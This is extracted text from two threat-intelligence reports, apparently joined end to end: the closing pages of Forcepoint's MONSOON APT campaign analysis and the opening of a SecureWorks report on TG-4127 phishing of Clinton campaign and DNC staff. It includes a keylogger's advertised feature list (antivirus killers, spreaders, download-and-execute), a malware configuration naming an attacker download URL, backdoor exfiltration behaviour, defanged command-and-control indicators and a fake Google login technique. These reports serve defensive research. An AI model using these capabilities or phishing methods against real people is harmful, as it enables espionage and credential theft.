Interestingly it does not have the ability for CC communication.
It cannot execute arbitrary commands or receive a command indicating what it should do next.
Features: 1- Built in Stub 2- Get Tons of Information about the slave (Computer User, Computer Name, Computer Total Physical Memory, slaves IP Address, slaves Country, Date, etc...) 3- Send logs to SMTP Severs and FTP 4- SMTP (Hotmail, Gmail, AOL, Yahoo) 5- Test Mail Functionality (Hotmail, Gmail, AOL, Yahoo) 6- Test FTP Functionality 7- Continuously Send Logs without Fail 8- Custom Logs Sending Interval (Which means you Choose when the Logs are sent to you) 9- Logs Every Single Thing on the Keyboard (Letters(Up Cases and Low Cases) - Numbers - Symbols - Specific Keys ([F1], [F2], [Home], etc...)) 10- Works on all Operating Systems (Window XP, Window Vista, Window 7 (32 and 64 bit) 11- Hide Functionality (Make the Server Invisible to the Naked eye) 12- Never Crashes in slaves Computer (Will always be working whatever happens) 13- Simple and Easy to use GUI 14- Customer Server Name 15- Sends Clean and Very Organized Logs 16- Can be Used as a Keylogger - Stealer - Worm - Spreader and more by just Checking Few Boxes Spreaders: 1- USB Spreader 2- LAN Spreader 3- P2P Spreader 4- RAR Spreader Stealers: 1- Firefox 4/5/6/7/8/9 2- Google Chrome All Versions 3- Opera All Versions 4- Internet Explorer 7/9 5- Steam Stealer 6- CD Keys (up to 300) Anti Killers: 1- Anti Nod32 (All Versions) 2- Anti Kaspersky (All Versions) 3- Anti BitDefender (All Versions) 4- Anti MalwareBytes (All Versions) 5- Anti Norman (All Versions) 6- Anti WireShark (All Versions) 7- Anti Anubis (All Versions) 8- Anti KeyScrambler (All Versions) 9- Anti Ollydbg (All Versions) 10- Anti Outpost (All Versions) 11- Anti ZoneAlaram (All Versions) Disablers: 1- Disable RUN 2- Disable Registry 3- Disable CMD 4- Disable Right Click 5- Disable Task Manager 6- Disable System Restore Deleters: 1- Delete FireFox Cookies 2- Delete Google Chrome Cookies 3- Delete Internet Explorer Cookies Download And Execute: Add any Link that Leads to any kind of File and this File will be Downloaded and Execute Automatically and Anonymously Webpage Loader: Add any Link and it will be Automatically Loaded on the slaves PC Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    40/57 Configuration.
In the samples analysed16, Unknown Logger was configured to download the AutoIt backdoor upon start-up.
One of configurations was as follows: Setting Value Username chinastratforumgma il.com Password redacted SmtpServer smtp.gmail.com FTPServer ftp://www.example.co m/example.txt SmtpPort 587 UseSmtp True UseFTP False ExfilIntervalMinutes 1 ScreenshotEmailRecipient credactedgmail.
com USBSpreader True CreateNetworkShare True RARSpreader True P2PSpreader True FirefoxStealer True OperaStealer False ChromeStealer True IEStealer False SteamStealer False CDKeysStealer False DeleteCookies False DeleteChromeCookies False 16  SHA1: c691c07191963ca3db28235d0a38060b2b9ea8f2 SHA1: 6e85333e5ee05c40bee0457419aa68a007a0e5f5 Setting Value DeleteFirefoxSignons False RunRegistryKey False Screenshots True ScreenshotIntervalMinutes 1 FakeAlert False FakeAlertText AlertType AntiKeyScrambler True AntiWireshark True AntiAnubis True AntiMalwarebytes True AntiKaspersky True AntiOllydbg True AntiOutpost True AntiNorman True AntiBitdefender True AntiNOD32 True AntiZoneAlarm True Keylogger True NoRun False NoRegedit False NoCMD False NoViewContextMenu False NoTaskMgr False NoSystemRestore False LaunchProcess False Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    41/57 Setting Value LaunchProcessString http:// DownloadExecFile True Setting Value DownloadExecFileURL http://newsnstat.com/ nregsrv2.exe Melt False Figure 35  Unknown Logger Configuration The settings have been named as part of the investigation as they are not specifically named in the malware.
The DownloadExecFileURL specifies a URL to grab an additional file from and execute it at runtime.
Analysis found that nregsrv2.exe is the same AutoIt trojan dropped by many of the other weaponised documents used in this campaign.
TINYTYPHON The TINYTYPHON malware is a small backdoor capable of finding and uploading documents on locally mapped drives and receiving secondary malware.
It is dropped by at least one of the weaponised documents17 used in the MONSOON campaign where it is embedded inside another executable.
The majority of the code for TINYTYPHON is taken from the MyDoom worm and has been repurposed to find and exfiltrate documents.
Configuration  Persistence.
TINYTYPHON contains a small configuration appended to the end of the executable.
In the sample analysed18 this configuration was XORed with the hexadecimal value 0x90.
17 SHA1: 9cdbb41f83854ea4827c83ad9809ed0210566fbc 18 SHA1: fcf8e5cf1207fdfab9bcb0a4dc45ad188089655a Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    42/57 Figure 36  XOR 0x90 Data The configuration contains the CC address and paths to use as well as a list of document extensions to check when crawling local drives.
It also contains the filename to copy itself to in the local system32 directory, and the name of the persistence registry key to install itself under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run.
Document Crawler.
TINYTYPHON constantly searches for and uploads documents on the local machine.
It will first search for any documents on the drive containing the operating system, and then it will search through all drive letters C through to Z. Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    43/57 Figure 37  Document Crawler Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    44/57 Once a document is found matching one of the extensions in the configuration, the document is uploaded to the CC.
Figure 38  Document Upload to CC Victims.
The TINYTYPHON CC from the sample we analysed contained a /http directory which had an open directory listing: Figure 39  CC Web Server /http listing Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    45/57 The /upload directory contained several folders relating to different victims: Figure 40  CC Web Server /http/upload listing Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    46/57 Each of these folders contained the documents found and uploaded by TINYTYPHON on the victims machine.
Figure 41  CC Web Server /http/upload/victim listing The filenames begin with the MD5 hash of the file, then a dash, and then the original filename.
There were thousands of documents which had been exfiltrated to this CC.
After reviewing the filenames of documents from several of the victims, it appears as though most of the victims are involved with government agencies.
Some of these documents contain highly sensitive information such as clearance documents, financial information, and technical specifications.
During the investigation, the server stopped responding on June 8, 2016 and then came back online on July 5, 2016.
It is unknown why this month long outage occurred, although it could have been because the group knew that people were accessing the open directories and wanted to remain undetected.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    47/57 ATTRIBUTION With respect to attribution, Forcepoint Security Labs focus on enabling the awareness and understanding of intent.
This is useful in order to identify likely future behaviour.
Reports from Special Investigations do not focus on specific attribution.
VICTIMS The MONSOON victims fit with a group who have military and political interests in the Indian Subcontinent.
Many of the victims are located in surrounding countries including Bangladesh, Sri Lanka and Pakistan.
But victims also originate from further afield, including Africa and the Far East.
The targeting of Chinese nationals may also be related to this campaign, but equally may be part of a separate campaign by the adversary or even as part of them selling Surveillance-As-A-Service in a similar manner previously seen with the HANGOVER group [2].
ADVERSARIES It was possible to identify an individual from a domain registration record who is believed to be associated with MONSOON.
There is a highly probable level of confidence in this association due to the following reasons: The domain name registered is a variant of one of the most popular domains used in MONSOON The person who registered the domain lives or has lived and works in India The person who registered the domain has profiles on coding challenge and freelance coder websites.
The HANGOVER group are thought to use freelance coders.
From the information available, it was possible to identify this individuals Facebook and LinkedIn accounts.
However, it is not deemed in the public interest to publish specific details on this individual.
Relevant authorities are informed as and when appropriate.
Cui Bono?
A useful analysis viewpoint is to ask the legal question: Cui Bono?
Or: who profits?
Even though this report does not attempt to focus on specific attribution, asking What is to be gained from these actions or what needs are satisfied?
may offers some insight.
Any further analysis is left as an exercise to for reader.
From the documents known to have been exfiltrated, a number of recurring themes occur: Army training, personnel and payroll records Defence attaches and consulates Defence research Foreign high commissions Military exercises Military air platforms Military naval platforms Military logistic records Naval coastal protection Anti-torpedo and naval electronic countermeasure (ECM) systems.
Submarine communication systems Nuclear security and counter proliferation United Nations Personal details including medical records, driving license, passport and visas Accounting records Travel and itinerary details Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    48/57 INFRASTRUCTURE By integrating the findings with prior research [1] [8], it was possible to connect MONSOON directly with infrastructure used by the HANGOVER group via a series of strong connections.
The original HANGOVER infrastructure overlaps with unique passive DNS records and is further linked by the use of a specific SOA RNAME record.
An example of this connection is illustrated below.
Figure 42  Connection Topology Both of the IPs that link this infrastructure appear to be unique to the Hangover group.
The newsnstat[.com] domain was used earlier in 2015 for previous HANGOVER campaigns, and was then repurposed in December 2015 for the MONSOON campaign.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    49/57 INDICATORS OF COMPROMISE A list of IOCs for MONSOON can be found below.
This not a comprehensive list and is focused on the specific documents and malware that were analysed for the purpose of this report.
LURE URLS hxxp://t.ymlp50.com/bjyapaejesjaoawsqaaaujwes/click.php hxxp://www.newsnstat.com hxxp://www.cnmilit.com hxxp://www.militaryworkerscn.com hxxp://milresearchcn.com hxxp://miltechweb.com hxxp://milscience-cn.com hxxp://miltechcn.com hxxp://nudtcn.com hxxp://modgovcn.com hxxp://climaxcn.com hxxp://chinastrats.com hxxp://chinastrat.com hxxp://epg-cn.com hxxp://extremebolt.com hxxp://socialfreakzz.com hxxp://info81.com hxxp://www.81-cn.net hxxp://lujunxinxi.com hxxp://letsgetclose.com hxxp://greatdexter.com WEAPONISED DOCUMENT HASHES (SHA1) 9034c8bfac8385a29f979b1601896c6edb0113b2 (Cyber_Crime_bill.doc) 11064dcef86ac1d94c170b24215854efb8aad542 (Cyber_Crime_bill.doc) 5de78801847fe63ce66cf23f3ff3d25a28e2c6fe (China_Vietnam_Military_Clash.doc) 478a41f254bb7b85e8ae5ac53757fc220e3ab91c (Cyber_Crime_bill.doc) 1e39ff194c72c74c893b7fd9f9d0e7205c5da115 (china_report_EN_web_2016_A01.doc) f7d9e0c7714578eb29716c1d2f49ef0defbf112a (Job_offers.doc) 406c74e8eb89fa7b712a535dd38c79c1afd0c6fe (DPP_INDIA_2016.pps) 9cdbb41f83854ea4827c83ad9809ed0210566fbc (DPP_INDIA_2016.doc) 7ee94c8279ee4282041a242985922dedd9b184b4 (maritime_dispute.pps) 1ce0ad3556f5866f309e04084d9a230f9f2ce158 (Clingendael_Report_South_China_Sea.pps) 4a575bfe63262d53a765de254f534e830d03f638 (PLA_Forthcoming_Revolution_in_Doctrinal_Affairs.pps) cfb33642b702bb4da43aa6842aa657f1ec89b1f6 (China_Security_Report_2016.pps) 5d61d614731beeb520f767fcbb5afe151341238a (militarizationofsouthchinasea_1.pps) f3c9c62869c87fe177a69271b9e7f2b5aabcd66c (Chinese_Influence_Faces_2.pps) dcccd7a9886e147ecf01718047e1f911323ca8c9 (2016_China_Military_PowerReport.pps) c9dddd6d4858234e1be971c7f66193ea907ac8d8 (PLA_UAV_DEPLOYMENT.pps) 11c05a5f6ca2e683dba31d458777c0b6b8d558aa (7GeopoliticalConsequencetoAnticipateinAsiainEarly2016_1.doc) 3eef8e44556e4102a71ea4499d30f57495b9096a (UN__4_21_2015.doc) 4d1ad73a9c61527a8b685006ab60b0a3ffbc51bd (China_plan_to_dominate_South_China_Sea_and_beyond.doc) e6acbb5f653c5dc8eb324e82591587179b700d0c (China_Response_NKorea_Nuclear_Test13.pps) ea3029aef9ab1cda24ccecfbed8f31ec1f28525e (ChinaUS_11.pps) 3f9dc2944269d1160048c5a96e5eec8d14449341 (China_two_child_policy_will_underwhelm11.pps) 971ea3f1d32bb8bd9657c17b2c1520b5fb9c1d0e (MilReforms_1.pps) Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    50/57 e8276f46e335c4f8cd7313da1fd0b7f6ac9d5892 (MilReforms_2.pps) 1c9d01d8562509a7f10e355e6d1d9f3d76cd44cd (CHINA_FEAR_US_3.pps) 48c9f91e6829f2dee0a4a2bf5cb1f26daea6c46a (CHINAS_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_12.pps) 414e7d0d874cfd42bd4a11a317730e64bc06b794 (Obama_Gift_China_11.pps) 74c504886a7166c044f3fe3529745cdcf097a726 (japan_pivot_12.pps) 4d0ed3d1c6a3b4dfe3f5a3a8cf2bb2120b617d18 (TaiwanDiplomaticAccess_11.pps) a4f0494212314c9e8c32dd6cfb16030b13965c2c (australia_fonops_13.pps) e27d3cfc9141f618c5a8c075e7d18af11a012710 (Sino_Pak.pps) 824013c9d8b2aab1396c4a50579f8bd4bf80abdb (prc_nsg.pps) a5cf24751acdf4b9ab307d3fda037c164758704c (Jakobson_US_China_Report.pps) 4d1ad73a9c61527a8b685006ab60b0a3ffbc51bd (Sino_Russia.doc) BADNEWS MALWARE HASHES (SHA1) dc7a4def1dd5d62b906d19900b19cad4b2bd299d b362d1d91ed93eebb03d240553153f2148209d3a 3b2af1a6dbec193a647d97c4bfaf21f562c27258 d09ed8c4b5ad43fb4a6d13a96c2cd083b8795692 ce7b2336e94900ffad5339769219ab997d55e4a5 b657dedfad9039fdd6a5cdb84a6031e7e457dc91 7dcd87e79d08708e540f9f4bda5692a582c67eed AUTOIT MALWARE HASHES (SHA1) 32a89a8c1bc77a300a949091199a082acc165f40 1c0a47613f36c723f6a0b62f9d085a646c3dd69d af3f8f686b63bc209ef52ef35c7daad268d57921 3109a3307bb06f815bb48cae39d6a940e1f1113b 4d287bb8a93ef633a934a85172f1f0da1400abd5 be7fe8585789a6d584e6c3ebc77b506a02cadb54 2cb158449a9c56511dfda518afb76686f3ccadfa 282af7d58d4cc71e3430ac1af01d86e07c70891c 6356ed00198eda3a2997ee4017cf545c42f77ce2 df3016b793b14c8a9b032a82d46fa67ce12b91c3 f16cd0a84c02c9f0697c0d2d28ad199e5763f96f 734d4272748aa3c6ae45abd39a406a6f441b1f4a 386390afde44f7c14917591c89a76e007315fc8b TINYTYPHON MALWARE HASHES (SHA1) 411387df2145039fc601bf38192b721388cc5141 fcf8e5cf1207fdfab9bcb0a4dc45ad188089655a 791eae42d844a3a684271b56601346a26f3d4a33 UNKNOWN LOGGER MALWARE HASHES (SHA1) c691c07191963ca3db28235d0a38060b2b9ea8f2 6e85333e5ee05c40bee0457419aa68a007a0e5f5 MISCELLANEOUS SAMPLES (SHA1) 4c70974aa8ce3de87d1c2a42d418d8c1b25904a4 (.NET updater used by AutoIt backdoors) 99f07fb2aaa637291476fde6cfd4921c835959d0 (UAC bypass stub) BADNEWS CC hxxp://43.249.37.173/quantum/ghsnls.php hxxp://5.254.98.68/Tussmal/ghsnls.php hxxp://85.25.79.230/quantum/ghsnls.php hxxp://85.25.79.230/quantum/ghsnls.php hxxp://captain.chickenkiller.com/quantum/ghsnls.php hxxp://feeds.rapidfeeds.com/61594/ hxxp://feeds.rapidfeeds.com/81908/ Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    51/57 hxxp://feeds.rapidfeeds.com/81909/ hxxp://raheel.ignorelist.com/quantum/ghsnls.php hxxp://rasheed.crabdance.com/quantum/ghsnls.php hxxp://raw.githubusercontent.com/azeemkhan89/sports/master/sports.xml hxxp://updatesoft.zapto.org/Tussmal/ghsnls.php hxxp://updatesys.zapto.org/Tussmal/ghsnls.php hxxp://ussainbolt.mooo.com/Tussmal/ghsnls.php hxxp://ussainbolt1.mooo.com/Tussmal/ghsnls.php hxxp://www.chinahush.com/2014/12/27/can-common-views-of-chinese-women-be-changed hxxp://www.chinasmack.com/2016/digest/woman-discards-her-food-on-shanghai- metro.html hxxp://www.repeatserver.com/Users/sports/news.xml hxxp://www.webrss.com/createfeed.php?feedid47444 hxxp://194.63.142.174/Mussmal/ghsnls.php hxxp://43.249.37.173/yumhong/ghsnls.php hxxp://85.25.79.230/tesla/ghsnls.php hxxp://asatar.ignorelist.com/tesla/ghsnls.php hxxp://blog.chinadaily.com.cn/home.php?modspaceuid2392255doblogid35101 hxxp://feeds.rapidfeeds.com/81913/ hxxp://forum.china.org.cn/viewthread.php?tid175850page1extra hxxp://hostmyrss.com/feed/housing_news hxxp://javedtar.chickenkiller.com/tesla/ghsnls.php hxxp://overthemontains.weebly.com/trekking-lovers hxxp://russell01.servebeer.com/ hxxp://russell02.servehttp.com/ hxxp://russell02.servehttp.com/ hxxp://russell03.servehttp.com/ hxxp://tariqj.crabdance.com/tesla/ghsnls.php hxxp://wgeastchina.steelhome.cn/xml.xml hxxp://whgt.steelhome.cn/xml.xml hxxp://www.chinasmack.com/2016/digest/chinese-tourist-bit-by-snake-in- thailand.html hxxp://www.itpub.net/thread-2055123-1-1.html hxxp://www.travelhoneymoon.wordpress.com/2016/03/30/tips-to-how-to-feel-happy hxxp://www.webrss.com/createfeed.php?feedid47448 hxxp://www.webrss.com/createfeed.php?feedid47449 hxxp://wxkysteel.steelhome.cn/xml.xml hxxp://wxycgc.steelhome.cn/xml.xml hxxps://raw.githubusercontent.com/azeemkhan89/cartoon/master/cart.xml AUTOIT CC hxxp://212.129.13.110 hxxp://212.redacted (please contact if required) METERPRETER CC hxxps://45.43.192.172:8443 TINYTYPHON CC hxxp://212.redacted (please contact if required) NAMES OF LURE  WEAPONISED FILES Below are the most common filenames used as lures.
The distribution of words was used to generate the word cloud.
10_gay_celebs 11_Nepalies_Facts 13_Five_Year_Plan_2016-20-1 2016_china_military_powerreport Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    52/57 7GeopoliticalConsequencetoAnticipateinAsiainEarly2016 ABiggerBolderChinain2016 Aeropower aerospace Aliexpress_Randomiser AN_UPDATED_U arty_main Assessing_PLA_Organisational_Reforms australia_fonops bank Behind_Chinas_Gambit_in_Pakistan Beijing_Nanshan_Ski_Village BOC book_china_transition_under_xi_jinping CEF_Chengdu_July_2016 CHINA_FEAR_US chinamilreforms chinamilstrength China_Nuclear_Weapons China_Pakistan_ China_Pak_Policy China_plan_to_dominate_South_China_Sea_and_beyond China_Response_NKorea_Nuclear_Test1 chinascyberarmy2015 china_security_report2016 Chinas_Evolving_Approach_to_Integrated_Strategic_Deterrence ChinasMilitaryIntelligenceSystemisChanging Chinas_New_Silk_Road_and_US_Japan_Alliance_Geostrategy china_sperm_study CHINAS_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA China_two_child_policy_will_underwhelm ChinaUS China_Vietnam_Mil_clash china_vietnam_military_clash Chinese_defence_Budget Chinese_Influence Chinese_Influence_Faces chinesemilstrat Christians_in_China_suffer_persecution_2015 CIDEX2016 clingendael_Report_South_China_Sea cn-lshc-hospital-operations-excellence config Counter_Strike4 CPM_Update_South_China_Sea cppcc CSR74_Blackwill_Campbell_Xi_Jinping Defexpo_ebroucher dpp_india_2016 election enggmarvels Ex_Documents12 exercise_force_18 Exercise_Force_18_21 EXERCISE_FORCE_281 From_Frontier_To_Frontline_Tanmen_Maritime_Militia futuredrones gaokaonewreforms gaokaonewschedule Goedecke_IPSP_South_china_sea harbin Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    53/57 High_Order_War How_Russia_China_and_Iran_Are_Eroding_American_Influence How_to_easily_clean_an_infected_computer Implication_China_mil_reforms Individual_Income_Tax_Return IOR_South_Asia_Subregion ISIS_Bet_Part1 ISIS_bet_part2 Is_She_Up_For_Threesome J-20 Jakobson_US_China_Report Japan japan_and_the_Maritime_Pivot japan_pivot jet job_offers jtopcentrecomn justgiveitatry korea1 lantern latest_on_south_china_sea Limits_of_Law_in_the_South_China_Sea maritime_dispute Maritime_Disputes_Involving_China marriage_laws Medical_Ethics militarizationofsouthchinasea military_education_reforms MilitaryReforms MilReform MilReforms missing_missile_mystery_report MS_Office22 Myanmar_DPRK_relations nanomedicine nanomedicinecn netflix New_Arty_Gun North_Korea_Nuclear_Test North_Korea_Pivot nuc Nuclear_Industry_Summit one_belt_one PAK_CHINA_NAVAL_EXERCISEn pension PLA_Forthcoming_Revolution_in_Doctrinal_Affairs PLA_UAV_DEPLOYMENT Playboy_Mar16 Quantum_leap_into_computing_and_communication Radar rail_time_table_2016 Ramadaan_Offers REEFS_ROCKS_ Report_Asia_Program_New_Geopolitics Schedule_of_Events_01 shifting_waters_chinas_new_passive_assertiveness_asian_maritime_security Sino_Pak Sino_Russia social_security south_china_policy South_China_Sea_More_Tension_ Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    54/57 SR57_US_China_Apr2016 SR57_US_China_April16 stewardess2 Strategic_Standoff syria_china Taiwan TaiwanDiplomaticAccess Tax Taxupdate the_chinese_military_overview_and_issues the_chinese_statecraft The_PLA_Cultivates_Xuexing_for_the_Wars_of_the_Future The_US_FON_Program_in_the_South_china_Sea tibetculture Tk_main Top_Five_AF traffic UruguayJan-Jun UruguayJul-Dec US_china US_China_Cyberwar us_srilanka_relations Why_Does_China_Want_to_Control_the_South_China_Sea WILL_ISIS_INFECT_BANGLADESH Y-20zodiac Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    55/57 ABOUT US Special Investigations is part of Forcepoint Security Intelligence, itself an integral part of Forcepoint Security Labs.
It exists to provide the security insights, technologies, and expertise to allow customers to focus on their own core business rather than security.
Special Investigations is made up of talented malware reverse engineers and malware analysts.
They are responsible for delivering high quality output as part of their investigations into botnets, APTs, and other deep reverse engineering topics.
Special Investigations work with national and international crime agencies, national CERTs and trusted partners.
The team works closely with other parts of Forcepoint Security Labs, as well as other areas of the Forcepoint business.
They strive to enable and deliver insight and a deep understanding of emerging cyber threats.
They are able to communicate this to a broad set of stakeholders including customers, partners and the general public with the objective of offering tangible decision advantage.
Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    56/57 FIGURES Figure 1  Word-Cloud of Lure Document Titles ............................................................................... 1 Figure 2  Cyber_Crime_Bill.doc (Excerpt) ....................................................................................... 6 Figure 3  EXIF info for Cyber_Crime_Bill.docx ................................................................................ 7 Figure 4  Search VT by Author Metadata ........................................................................................ 7 Figure 5  Lure Document Cover ...................................................................................................... 8 Figure 6  Lures from 37.58.60.195 .................................................................................................. 8 Figure 7  URLQuery.net .................................................................................................................. 9 Figure 8  Known Bad Email Lure .................................................................................................. 10 Figure 9  YMLP Lures ................................................................................................................... 11 Figure 10  China Strat Screen Shot .............................................................................................. 12 Figure 11  Lure Google Screen Shot........................................................................................... 13 Figure 12  Lure Facebook Screen Shot ........................................................................................ 14 Figure 13  Lure Twitter Screen Shot ............................................................................................. 15 Figure 14  Exploited CVEs ............................................................................................................ 16 Figure 15  Binary Blob Dropped to temp ................................................................................. 17 Figure 16  VB Extract of Blob ........................................................................................................ 17 Figure 17  VB Decryption of Embedded Files ............................................................................... 18 Figure 18  PHP Redirect ............................................................................................................... 20 Figure 19  Silverlight Profiling ....................................................................................................... 21 Figure 20  Windows Registry Keys ............................................................................................... 22 Figure 21  GitHub Command Channel .......................................................................................... 24 Figure 22  Chinasmack[.com]  Command Channel ....................................................................... 24 Figure 23  Forum Command Channel ........................................................................................... 25 Figure 24  BADNEWS Command Set ........................................................................................... 28 Figure 25 - Device Change Listener................................................................................................ 29 Figure 26  Updater VBScript ......................................................................................................... 30 Figure 27  Upload via PHP Script.................................................................................................. 31 Figure 28  Base64 Response ........................................................................................................ 32 Figure 29  Beautified Powershell .................................................................................................. 33 Figure 30  Hard Coded IP Address ............................................................................................... 34 Figure 31  Encrypted Shellcode .................................................................................................... 35 Figure 32  Decrypted PE File ........................................................................................................ 36 Figure 33  Unknown Logger Server Configuration Panel .............................................................. 37 Figure 34  Unknown Logger  Settings Panel ............................................................................... 38 Figure 35  Unknown Logger Configuration .................................................................................... 41 Figure 36  XOR 0x90 Data ............................................................................................................ 42 Figure 37  Document Crawler ....................................................................................................... 43 Figure 38  Document Upload to CC ............................................................................................ 44 Figure 39  CC Web Server /http listing........................................................................................ 44 Figure 40  CC Web Server /http/upload listing ............................................................................ 45 Figure 41  CC Web Server /http/upload/victim listing .............................................................. 46 Figure 42  Connection Topology ................................................................................................... 48 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509403 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509404 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509406 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509420 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509426 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509427 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509430 file://srdfile1/data/Users/asettle/My20Documents/1020-20Cases/MONSOON/20160808-MONSOON-Analysis-Report-1_07.docx23_Toc458509434 Forcepoint Security Labs    Special Investigations MONSOON  ANALYSIS OF AN APT CAMPAIGN Revision: 1.07    TLP-WHITE    57/57 REFERENCES [1]  S. Fagerland, The Hangover Report, Bluecoat, 2013 May 2013.
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Accessed May 2016].
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Camp and N. Moran, Operation Hangover: Unveiling an Indian Cyberattack Infrastructure, Norman AS, May 2013.
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[Accessed June 2016].
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[Accessed July 2016].
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Available: https://github.com/cyberthreats/malware-source-mydoom.
[
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[
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[
8]  J.-I.
Boutin, Targeted information stealing attacks in South Asia use email, signed binaries, ESET, 16 May 2013.
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[Accessed Aug 2016].
Threat Group-4127 Targets Hillary Clinton Presidential Campaign secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign Author: SecureWorks Counter Threat Unit Threat Intelligence Date: 16 June 2016 Summary SecureWorks Counter Threat Unit (CTU) researchers track the activities of Threat Group-4127 [1] (TG-4127), which targets governments, military, and international non-governmental organizations (NGOs).
Components of TG- 4127 operations have been reported under the names APT28, Sofacy, Sednit, and Pawn Storm.
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government.
Between October 2015 and May 2016, CTU researchers analyzed 8,909 Bitly links that targeted 3,907 individual Gmail accounts and corporate and organizational email accounts that use Gmail as a service.
In March 2016, CTU researchers identified a spearphishing campaign using Bitly accounts to shorten malicious URLs.
The targets were similar to a 2015 TG-4127 campaign  individuals in Russia and the former Soviet states, current and former military and government personnel in the U.S. and Europe, individuals working in the defense and government supply chain, and authors and journalists  but also included email accounts linked to the November 2016 United States presidential election.
Specific targets include staff working for or associated with Hillary Clintons presidential campaign and the Democratic National Committee (DNC), including individuals managing Clintons communications, travel, campaign finances, and advising her on policy.
Spearphishing details The short links in the spearphishing emails redirected victims to a TG-4127-controlled URL that spoofed a legitimate Google domain.
A Base64-encoded string containing the victims full email address is passed with this URL, prepopulating a fake Google login page displayed to the victim.
If a victim enters their credentials, TG-4127 can establish a session with Google and access the victims account.
The threat actors may be able to keep this session alive and maintain persistent access.
Hillary for America The Hillary for America presidential campaign owns the hillaryclinton.com domain, which is used for the campaign website (www.hillaryclinton.com) and for email addresses used by campaign staff.
An examination of the hillaryclinton.com DNS records shows that the domains MX records, which indicate the mail server used by the domain, point to aspmx.l.google.com, the mail server used by Google Apps.
Google Apps allows organizations to use Gmail as their organizational mail solution.
TG-4127 exploited the Hillary for America campaigns use of Gmail and leveraged campaign employees expectation of the standard Gmail login page to access their email account.
When presented with TG-4127s spoofed login page (see Figure 1), victims might be convinced it was the legitimate login page for their hillaryclinton.com email account.
1/5 https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign https://bitly.com/ https://support.google.com/a/answer/33915?hlen Figure 1.
Example of a TG-4127 fake Google Account login page.
(
Source: www.phishtank.com) CTU researchers observed the first short links targeting hillaryclinton.com email addresses being created in mid- March 2016 the last link was created in mid-May.
During this period, TG-4127 created 213 short links targeting 108 email addresses on the hillaryclinton.com domain.
Through open-source research, CTU researchers identified the owners of 66 of the targeted email addresses.
There was no open-source footprint for the remaining 42 addresses, suggesting that TG-4127 acquired them from another source, possibly other intelligence activity.
The identified email owners held a wide range of responsibilities within the Hillary for America campaign, extending from senior figures to junior employees and the group mailboxes for various regional offices.
Targeted senior figures managed communications and media affairs, policy, speech writing, finance, and travel, while junior figures arranged schedules and travel for Hillary Clintons campaign trail.
Targets held the following titles: National political director Finance director Director of strategic communications Director of scheduling Director of travel Traveling press secretary Travel coordinator Publicly available Bitly data reveals how many of the short links were clicked, likely by a victim opening a 2/5 spearphishing email and clicking the link to the fake Gmail login page.
Only 20 of the 213 short links have been clicked as of this publication.
Eleven of the links were clicked once, four were clicked twice, two were clicked three times, and two were clicked four times.
Democratic National Committee The U.S. Democratic partys governing body, the Democratic National Committee (DNC), uses the dnc.org domain for its staff email.
Between mid-March and mid-April 2016, TG-4127 created 16 short links targeting nine dnc.org email accounts.
CTU researchers identified the owners of three of these accounts two belonged to the DNCs secretary emeritus, and one belonged to the communications director.
Four of the 16 short links were clicked, three by the senior staff members.
As of this publication, dnc.org does not use the Google Apps Gmail email service.
However, because dnc.org email accounts were targeted in the same way as hillaryclinton.com accounts, it is likely that dnc.org did use Gmail at that time and later moved to a different service.
